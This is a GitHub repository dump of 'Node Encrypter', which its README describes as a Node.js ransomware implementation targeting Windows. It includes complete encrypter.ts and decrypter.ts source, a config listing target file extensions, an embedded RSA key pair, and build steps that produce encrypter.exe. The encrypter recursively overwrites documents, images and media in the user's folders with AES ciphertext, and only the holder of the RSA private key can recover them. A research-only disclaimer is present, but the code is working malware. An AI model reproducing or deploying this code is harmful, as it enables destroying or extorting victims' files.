├── .gitignore ├── LICENSE ├── README.md ├── config.json ├── decrypter.ts ├── encrypter.ts ├── package-lock.json ├── package.json └── tsconfig.json /.gitignore: -------------------------------------------------------------------------------- 1 | /.idea 2 | /node_modules 3 | /build 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 rulyox 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Node Encrypter 2 | 3 | A Node.js ransomware implementation. 4 | 5 | This program is targeting Windows. 6 | 7 | 8 | ## Warning 9 | 10 | * This program is only for research purposes. 11 | * Do not use this program to attack a system or cause any harm. 12 | * All responsibility lies with the user. 13 | 14 | 15 | ## How it works 16 | 17 | ### Encryption 18 | 19 | 1. Create a random AES key & IV. 20 | 2. Encrypt target files using AES. 21 | 3. Encrypt AES key & IV using RSA to create Identification Code. 22 | 23 | ### Decryption 24 | 25 | 1. Decrypt Identification Code to get AES key & IV. 26 | 2. Decrypt target files using AES. 27 | 28 | 29 | ## Usage 30 | 31 | ### Run with NPM 32 | 33 | ``` 34 | npm run build 35 | 36 | npm run encrypt 37 | npm run decrypt [Identification Code] 38 | ``` 39 | 40 | ### Run exe file 41 | 42 | ``` 43 | npm run build 44 | 45 | npm run encrypt-exe 46 | npm run decrypt-exe 47 | 48 | encrypter.exe 49 | decrypter.exe [Identification Code] 50 | ``` 51 | 52 | 53 | ## Configurations 54 | 55 | * targetFolder : Folders to encrypt inside Windows User folder. 56 | * targetExtension : Extensions of files to encrypt. 57 | * publicKey, privateKey : RSA key pair used to encrypt AES key. 58 | -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "targetFolder": ["ENCRYPT_TARGET"], 3 | "targetExtension": ["txt", "pdf", "ppt", "pptx", "doc", "docx", "xls", "xlsx", "jpg", "jpeg", "png", "mp3", "mp4", "wmv", "avi", "mkv", "mov"], 4 | "publicKey": "-----BEGIN PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgHUjuw8RheCJCKShCZL7WG3W/O86\nbTdRRxk58iNXcxDsxlna3MUX1cHhE4fHFAAJDau6uT+sNgR9OYZUHDAWvmWrj2cP\nrBQ+XvPkDCz1G6nokJpBdQEUKTFpYjaEDlRvrKJ3Z4esRwzxLro8zEmfPX6SVF65\nB1+rdxZn7hbaPm7lAgMBAAE=\n-----END PUBLIC KEY-----", 5 | "privateKey": "-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgHUjuw8RheCJCKShCZL7WG3W/O86bTdRRxk58iNXcxDsxlna3MUX\n1cHhE4fHFAAJDau6uT+sNgR9OYZUHDAWvmWrj2cPrBQ+XvPkDCz1G6nokJpBdQEU\nKTFpYjaEDlRvrKJ3Z4esRwzxLro8zEmfPX6SVF65B1+rdxZn7hbaPm7lAgMBAAEC\ngYBZVjzNizGtQxWCaQbiQCr66mHRGaA99hDhXl4bMhChsdK8qLyC3GC8EqpQfTX1\nqPHyLOAnfXFdDxwWJIOy8UWXP+ZDT3th6LUU2fVwGD9yQDLwhXG9+WqExLtXvlEP\nIX3LEfM4KUBuWU2nzQfhGyxoMmRIBaZbmD3vL0EBt4Qb6QJBALn6WS20iXT4NRwW\nCcHBytCZ6TvyVAY09o/Pa2SYBRmfc41zx2OS3QpUntXobz22JpytS3Jv4xQUzTNv\ngHsixSsCQQChPlXQrqvx8Ne4Gk7EwzcJmIxeHfPqFp3zf+bS1dMraZvy8dMhRdq6\nE6khS8uIUFP14CQI5v3nku0JWNrbrrQvAkEAgJE7OUeHhx9Xx9TMZfAMv2zHOjPq\nNmhC02Q2/9HAJNiAT5dsjb+no06gh4wp6uWTh9idQb1rpCRFP3ujvHxrBQJBAIGL\nYEy5mQFXWyjZUgF5SYWXHucar3WZ2CrizmMDUZYmUhmcueCYi8NFunM6vvn0d5Aq\nFSll1AYyH+iLj8JBmRcCQDM9prFADBtYOj/WtQbXJptzTtvG2hpheQiWGcgg6202\nedKQ+PRBRJAVChBIgn1zawZQ0OwOqez7IrQX8ARQaJw=\n-----END RSA PRIVATE KEY-----" 6 | } 7 | -------------------------------------------------------------------------------- /decrypter.ts: -------------------------------------------------------------------------------- 1 | import os from 'os'; 2 | import fs from 'fs'; 3 | import crypto from 'crypto'; 4 | import path from 'path'; 5 | import config from './config.json'; 6 | 7 | const decrypt = () => { 8 | 9 | const userName: string = os.userInfo().username; 10 | const userDir: string = `C:\\Users\\${userName}`; 11 | 12 | // get arguments 13 | const args: string[] = process.argv.slice(2); 14 | 15 | if(args.length < 1) { 16 | console.log('Enter Identification Code as an argument!\n'); 17 | return; 18 | } 19 | 20 | const idCode: string = args[0]; 21 | 22 | console.log('Starting...\n'); 23 | 24 | // get key data 25 | const keyData: string = decryptPrivateKey(idCode); 26 | 27 | const key: string = keyData.substring(0, 32); 28 | const iv: Buffer = Buffer.from(keyData.substring(32), 'hex'); 29 | 30 | console.log(`Key : ${key}\nIV : ${iv.toString('hex')}\n`); 31 | 32 | console.log('Decrypted Files :'); 33 | 34 | // decrypt files recursively 35 | for(let i = 0; i < config.targetFolder.length; i++) decryptDir(`${userDir}\\${config.targetFolder[i]}`, key, iv); 36 | 37 | console.log('\nDecryption Finished!\n'); 38 | 39 | }; 40 | 41 | const decryptDir = (dir: string, key: string, iv: Buffer) => { 42 | 43 | // if directory does not exist 44 | if(!fs.existsSync(dir)) return; 45 | 46 | fs.readdirSync(dir).forEach(file => { 47 | 48 | try { 49 | 50 | const fullPath: string = path.join(dir, file); 51 | 52 | if(fs.lstatSync(fullPath).isDirectory()) { // if folder 53 | 54 | // recursive call 55 | decryptDir(fullPath, key, iv); 56 | 57 | } else { // if file 58 | 59 | let isTarget: boolean = false; 60 | 61 | // check extension 62 | for(let j = 0; j < config.targetExtension.length; j++) { 63 | if(fullPath.toLowerCase().endsWith(config.targetExtension[j])) { 64 | isTarget = true; 65 | break; 66 | } 67 | } 68 | 69 | if(isTarget) { 70 | 71 | // check file size (only under 1GB) 72 | let fileStat = fs.statSync(fullPath); 73 | let fileSize = fileStat['size']; 74 | if(fileSize < 1e9) { 75 | 76 | decryptFile(fullPath, key, iv); 77 | 78 | console.log(fullPath); 79 | 80 | } 81 | 82 | } 83 | 84 | } 85 | 86 | } catch(error) { 87 | 88 | console.log(error); 89 | 90 | } 91 | 92 | }); 93 | 94 | }; 95 | 96 | const decryptFile = (file: string, key: string, iv: Buffer) => { 97 | 98 | let fileData: string = fs.readFileSync(file).toString(); 99 | let decryptedData: string = decryptAES(fileData, key, iv); 100 | 101 | fs.writeFileSync(file, decryptedData); 102 | 103 | }; 104 | 105 | const decryptAES = (cipherText: string, key: string, iv: Buffer): string => { 106 | 107 | const cipherBuffer = Buffer.from(cipherText, 'base64'); 108 | 109 | const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); 110 | 111 | let decryptedText: Buffer = decipher.update(cipherBuffer); 112 | decryptedText = Buffer.concat([decryptedText, decipher.final()]); 113 | 114 | return decryptedText.toString(); 115 | 116 | }; 117 | 118 | const decryptPrivateKey = (cipherText: string) => { 119 | 120 | const cipherBuffer: Buffer = Buffer.from(cipherText, 'base64'); 121 | const decryptedBuffer: Buffer = crypto.privateDecrypt(config.privateKey, cipherBuffer); 122 | 123 | return decryptedBuffer.toString(); 124 | 125 | }; 126 | 127 | // execute 128 | decrypt(); 129 | -------------------------------------------------------------------------------- /encrypter.ts: -------------------------------------------------------------------------------- 1 | import os from 'os'; 2 | import fs from 'fs'; 3 | import crypto from 'crypto'; 4 | import path from 'path'; 5 | import config from './config.json'; 6 | 7 | const encrypt = () => { 8 | 9 | const userName: string = os.userInfo().username; 10 | const userDir: string = `C:\\Users\\${userName}`; 11 | 12 | console.log('Starting...\n'); 13 | 14 | // create key 15 | const key: string = createRandomString(32); 16 | const iv: Buffer = crypto.randomBytes(16); 17 | 18 | console.log('Encrypted Files :'); 19 | 20 | // encrypt files recursively 21 | for(let i = 0; i < config.targetFolder.length; i++) encryptDir(`${userDir}\\${config.targetFolder[i]}`, key, iv); 22 | 23 | console.log('\nEncryption Finished!\n'); 24 | 25 | // create identification code 26 | const keyData: string = `${key}${iv.toString('hex')}`; 27 | const idCode: string = encryptPublicKey(keyData); 28 | 29 | console.log(`Identification Code : ${idCode}\n`); 30 | 31 | }; 32 | 33 | const createRandomString = (length: number): string => { 34 | 35 | const characters: string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 36 | const charactersLength: number = characters.length; 37 | 38 | let result: string = ''; 39 | for (let i = 0; i < length; i++) result += characters.charAt(Math.floor(Math.random() * charactersLength)); 40 | 41 | return result; 42 | 43 | }; 44 | 45 | const encryptDir = (dir: string, key: string, iv: Buffer) => { 46 | 47 | // if directory does not exist 48 | if(!fs.existsSync(dir)) return; 49 | 50 | fs.readdirSync(dir).forEach(file => { 51 | 52 | try { 53 | 54 | const fullPath: string = path.join(dir, file); 55 | 56 | if(fs.lstatSync(fullPath).isDirectory()) { // if folder 57 | 58 | // recursive call 59 | encryptDir(fullPath, key, iv); 60 | 61 | } else { // if file 62 | 63 | let isTarget: boolean = false; 64 | 65 | // check extension 66 | for(let j = 0; j < config.targetExtension.length; j++) { 67 | if(fullPath.toLowerCase().endsWith(config.targetExtension[j])) { 68 | isTarget = true; 69 | break; 70 | } 71 | } 72 | 73 | if(isTarget) { 74 | 75 | // check file size (only under 1GB) 76 | let fileStat = fs.statSync(fullPath); 77 | let fileSize = fileStat['size']; 78 | if(fileSize < 1e9) { 79 | 80 | encryptFile(fullPath, key, iv); 81 | 82 | console.log(fullPath); 83 | 84 | } 85 | 86 | } 87 | 88 | } 89 | 90 | } catch(error) { 91 | 92 | console.log(error); 93 | 94 | } 95 | 96 | }); 97 | 98 | }; 99 | 100 | const encryptFile = (file: string, key: string, iv: Buffer) => { 101 | 102 | const fileData = fs.readFileSync(file).toString(); 103 | const encryptedData = encryptAES(fileData, key, iv); 104 | 105 | fs.writeFileSync(file, encryptedData); 106 | 107 | }; 108 | 109 | 110 | const encryptAES = (plainText: string, key: string, iv: Buffer): string => { 111 | 112 | const cipher = crypto.createCipheriv('aes-256-cbc', key, iv); 113 | 114 | let encryptedText: Buffer = cipher.update(plainText); 115 | encryptedText = Buffer.concat([encryptedText, cipher.final()]); 116 | 117 | return encryptedText.toString('base64'); 118 | 119 | }; 120 | 121 | const encryptPublicKey = (plainText: string): string => { 122 | 123 | const plainBuffer = Buffer.from(plainText); 124 | const encryptedBuffer: Buffer = crypto.publicEncrypt(config.publicKey, plainBuffer); 125 | 126 | return encryptedBuffer.toString('base64'); 127 | 128 | }; 129 | 130 | // execute 131 | encrypt(); 132 | -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "node-encrypter", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "@babel/parser": { 8 | "version": "7.9.4", 9 | "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.9.4.tgz", 10 | "integrity": "sha512-bC49otXX6N0/VYhgOMh4gnP26E9xnDZK3TmbNpxYzzz9BQLBosQwfyOe9/cXUU3txYhTzLCbcqd5c8y/OmCjHA==" 11 | }, 12 | "@babel/runtime": { 13 | "version": "7.9.2", 14 | "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.9.2.tgz", 15 | "integrity": "sha512-NE2DtOdufG7R5vnfQUTehdTfNycfUANEtCa9PssN9O/xmTzP4E08UI797ixaei6hBEVL9BI/PsdJS5x7mWoB9Q==", 16 | "requires": { 17 | "regenerator-runtime": "^0.13.4" 18 | } 19 | }, 20 | "@nodelib/fs.scandir": { 21 | "version": "2.1.3", 22 | "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.3.tgz", 23 | "integrity": "sha512-eGmwYQn3gxo4r7jdQnkrrN6bY478C3P+a/y72IJukF8LjB6ZHeB3c+Ehacj3sYeSmUXGlnA67/PmbM9CVwL7Dw==", 24 | "requires": { 25 | "@nodelib/fs.stat": "2.0.3", 26 | "run-parallel": "^1.1.9" 27 | } 28 | }, 29 | "@nodelib/fs.stat": { 30 | "version": "2.0.3", 31 | "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.3.tgz", 32 | "integrity": "sha512-bQBFruR2TAwoevBEd/NWMoAAtNGzTRgdrqnYCc7dhzfoNvqPzLyqlEQnzZ3kVnNrSp25iyxE00/3h2fqGAGArA==" 33 | }, 34 | "@nodelib/fs.walk": { 35 | "version": "1.2.4", 36 | "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.4.tgz", 37 | "integrity": "sha512-1V9XOY4rDW0rehzbrcqAmHnz8e7SKvX27gh8Gt2WgB0+pdzdiLV83p72kZPU+jvMbS1qU5mauP2iOvO8rhmurQ==", 38 | "requires": { 39 | "@nodelib/fs.scandir": "2.1.3", 40 | "fastq": "^1.6.0" 41 | } 42 | }, 43 | "@types/color-name": { 44 | "version": "1.1.1", 45 | "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz", 46 | "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==" 47 | }, 48 | "@types/node": { 49 | "version": "13.11.1", 50 | "resolved": "https://registry.npmjs.org/@types/node/-/node-13.11.1.tgz", 51 | "integrity": "sha512-eWQGP3qtxwL8FGneRrC5DwrJLGN4/dH1clNTuLfN81HCrxVtxRjygDTUoZJ5ASlDEeo0ppYFQjQIlXhtXpOn6g==" 52 | }, 53 | "ajv": { 54 | "version": "6.12.0", 55 | "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.0.tgz", 56 | "integrity": "sha512-D6gFiFA0RRLyUbvijN74DWAjXSFxWKaWP7mldxkVhyhAV3+SWA9HEJPHQ2c9soIeTFJqcSdFDGFgdqs1iUU2Hw==", 57 | "requires": { 58 | "fast-deep-equal": "^3.1.1", 59 | "fast-json-stable-stringify": "^2.0.0", 60 | "json-schema-traverse": "^0.4.1", 61 | "uri-js": "^4.2.2" 62 | } 63 | }, 64 | "ansi-styles": { 65 | "version": "4.2.1", 66 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", 67 | "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", 68 | "requires": { 69 | "@types/color-name": "^1.1.1", 70 | "color-convert": "^2.0.1" 71 | } 72 | }, 73 | "array-union": { 74 | "version": "2.1.0", 75 | "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", 76 | "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==" 77 | }, 78 | "asn1": { 79 | "version": "0.2.4", 80 | "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", 81 | "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", 82 | "requires": { 83 | "safer-buffer": "~2.1.0" 84 | } 85 | }, 86 | "assert-plus": { 87 | "version": "1.0.0", 88 | "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", 89 | "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" 90 | }, 91 | "asynckit": { 92 | "version": "0.4.0", 93 | "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", 94 | "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" 95 | }, 96 | "aws-sign2": { 97 | "version": "0.7.0", 98 | "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", 99 | "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=" 100 | }, 101 | "aws4": { 102 | "version": "1.9.1", 103 | "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.1.tgz", 104 | "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==" 105 | }, 106 | "bcrypt-pbkdf": { 107 | "version": "1.0.2", 108 | "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", 109 | "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", 110 | "requires": { 111 | "tweetnacl": "^0.14.3" 112 | } 113 | }, 114 | "braces": { 115 | "version": "3.0.2", 116 | "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", 117 | "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", 118 | "requires": { 119 | "fill-range": "^7.0.1" 120 | } 121 | }, 122 | "byline": { 123 | "version": "5.0.0", 124 | "resolved": "https://registry.npmjs.org/byline/-/byline-5.0.0.tgz", 125 | "integrity": "sha1-dBxSFkaOrcRXsDQQEYrXfejB3bE=" 126 | }, 127 | "caseless": { 128 | "version": "0.12.0", 129 | "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", 130 | "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=" 131 | }, 132 | "chalk": { 133 | "version": "3.0.0", 134 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", 135 | "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", 136 | "requires": { 137 | "ansi-styles": "^4.1.0", 138 | "supports-color": "^7.1.0" 139 | } 140 | }, 141 | "color-convert": { 142 | "version": "2.0.1", 143 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", 144 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", 145 | "requires": { 146 | "color-name": "~1.1.4" 147 | } 148 | }, 149 | "color-name": { 150 | "version": "1.1.4", 151 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", 152 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" 153 | }, 154 | "combined-stream": { 155 | "version": "1.0.8", 156 | "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", 157 | "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", 158 | "requires": { 159 | "delayed-stream": "~1.0.0" 160 | } 161 | }, 162 | "core-util-is": { 163 | "version": "1.0.2", 164 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", 165 | "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" 166 | }, 167 | "dashdash": { 168 | "version": "1.14.1", 169 | "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", 170 | "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", 171 | "requires": { 172 | "assert-plus": "^1.0.0" 173 | } 174 | }, 175 | "deep-is": { 176 | "version": "0.1.3", 177 | "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", 178 | "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=" 179 | }, 180 | "delayed-stream": { 181 | "version": "1.0.0", 182 | "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", 183 | "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" 184 | }, 185 | "dir-glob": { 186 | "version": "3.0.1", 187 | "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", 188 | "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", 189 | "requires": { 190 | "path-type": "^4.0.0" 191 | } 192 | }, 193 | "ecc-jsbn": { 194 | "version": "0.1.2", 195 | "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", 196 | "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", 197 | "requires": { 198 | "jsbn": "~0.1.0", 199 | "safer-buffer": "^2.1.0" 200 | } 201 | }, 202 | "escodegen": { 203 | "version": "1.14.1", 204 | "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.1.tgz", 205 | "integrity": "sha512-Bmt7NcRySdIfNPfU2ZoXDrrXsG9ZjvDxcAlMfDUgRBjLOWTuIACXPBFJH7Z+cLb40JeQco5toikyc9t9P8E9SQ==", 206 | "requires": { 207 | "esprima": "^4.0.1", 208 | "estraverse": "^4.2.0", 209 | "esutils": "^2.0.2", 210 | "optionator": "^0.8.1", 211 | "source-map": "~0.6.1" 212 | } 213 | }, 214 | "esprima": { 215 | "version": "4.0.1", 216 | "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", 217 | "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==" 218 | }, 219 | "estraverse": { 220 | "version": "4.3.0", 221 | "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", 222 | "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" 223 | }, 224 | "esutils": { 225 | "version": "2.0.3", 226 | "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", 227 | "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==" 228 | }, 229 | "expand-template": { 230 | "version": "2.0.3", 231 | "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", 232 | "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==" 233 | }, 234 | "extend": { 235 | "version": "3.0.2", 236 | "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", 237 | "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" 238 | }, 239 | "extsprintf": { 240 | "version": "1.3.0", 241 | "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", 242 | "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=" 243 | }, 244 | "fast-deep-equal": { 245 | "version": "3.1.1", 246 | "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", 247 | "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==" 248 | }, 249 | "fast-glob": { 250 | "version": "3.2.2", 251 | "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.2.tgz", 252 | "integrity": "sha512-UDV82o4uQyljznxwMxyVRJgZZt3O5wENYojjzbaGEGZgeOxkLFf+V4cnUD+krzb2F72E18RhamkMZ7AdeggF7A==", 253 | "requires": { 254 | "@nodelib/fs.stat": "^2.0.2", 255 | "@nodelib/fs.walk": "^1.2.3", 256 | "glob-parent": "^5.1.0", 257 | "merge2": "^1.3.0", 258 | "micromatch": "^4.0.2", 259 | "picomatch": "^2.2.1" 260 | } 261 | }, 262 | "fast-json-stable-stringify": { 263 | "version": "2.1.0", 264 | "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", 265 | "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" 266 | }, 267 | "fast-levenshtein": { 268 | "version": "2.0.6", 269 | "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", 270 | "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=" 271 | }, 272 | "fastq": { 273 | "version": "1.7.0", 274 | "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.7.0.tgz", 275 | "integrity": "sha512-YOadQRnHd5q6PogvAR/x62BGituF2ufiEA6s8aavQANw5YKHERI4AREboX6KotzP8oX2klxYF2wcV/7bn1clfQ==", 276 | "requires": { 277 | "reusify": "^1.0.4" 278 | } 279 | }, 280 | "fill-range": { 281 | "version": "7.0.1", 282 | "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", 283 | "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", 284 | "requires": { 285 | "to-regex-range": "^5.0.1" 286 | } 287 | }, 288 | "forever-agent": { 289 | "version": "0.6.1", 290 | "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", 291 | "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" 292 | }, 293 | "form-data": { 294 | "version": "2.3.3", 295 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", 296 | "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", 297 | "requires": { 298 | "asynckit": "^0.4.0", 299 | "combined-stream": "^1.0.6", 300 | "mime-types": "^2.1.12" 301 | } 302 | }, 303 | "from2": { 304 | "version": "2.3.0", 305 | "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", 306 | "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", 307 | "requires": { 308 | "inherits": "^2.0.1", 309 | "readable-stream": "^2.0.0" 310 | } 311 | }, 312 | "fs-extra": { 313 | "version": "8.1.0", 314 | "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", 315 | "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", 316 | "requires": { 317 | "graceful-fs": "^4.2.0", 318 | "jsonfile": "^4.0.0", 319 | "universalify": "^0.1.0" 320 | } 321 | }, 322 | "getpass": { 323 | "version": "0.1.7", 324 | "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", 325 | "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", 326 | "requires": { 327 | "assert-plus": "^1.0.0" 328 | } 329 | }, 330 | "glob-parent": { 331 | "version": "5.1.1", 332 | "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz", 333 | "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==", 334 | "requires": { 335 | "is-glob": "^4.0.1" 336 | } 337 | }, 338 | "globby": { 339 | "version": "11.0.0", 340 | "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.0.tgz", 341 | "integrity": "sha512-iuehFnR3xu5wBBtm4xi0dMe92Ob87ufyu/dHwpDYfbcpYpIbrO5OnS8M1vWvrBhSGEJ3/Ecj7gnX76P8YxpPEg==", 342 | "requires": { 343 | "array-union": "^2.1.0", 344 | "dir-glob": "^3.0.1", 345 | "fast-glob": 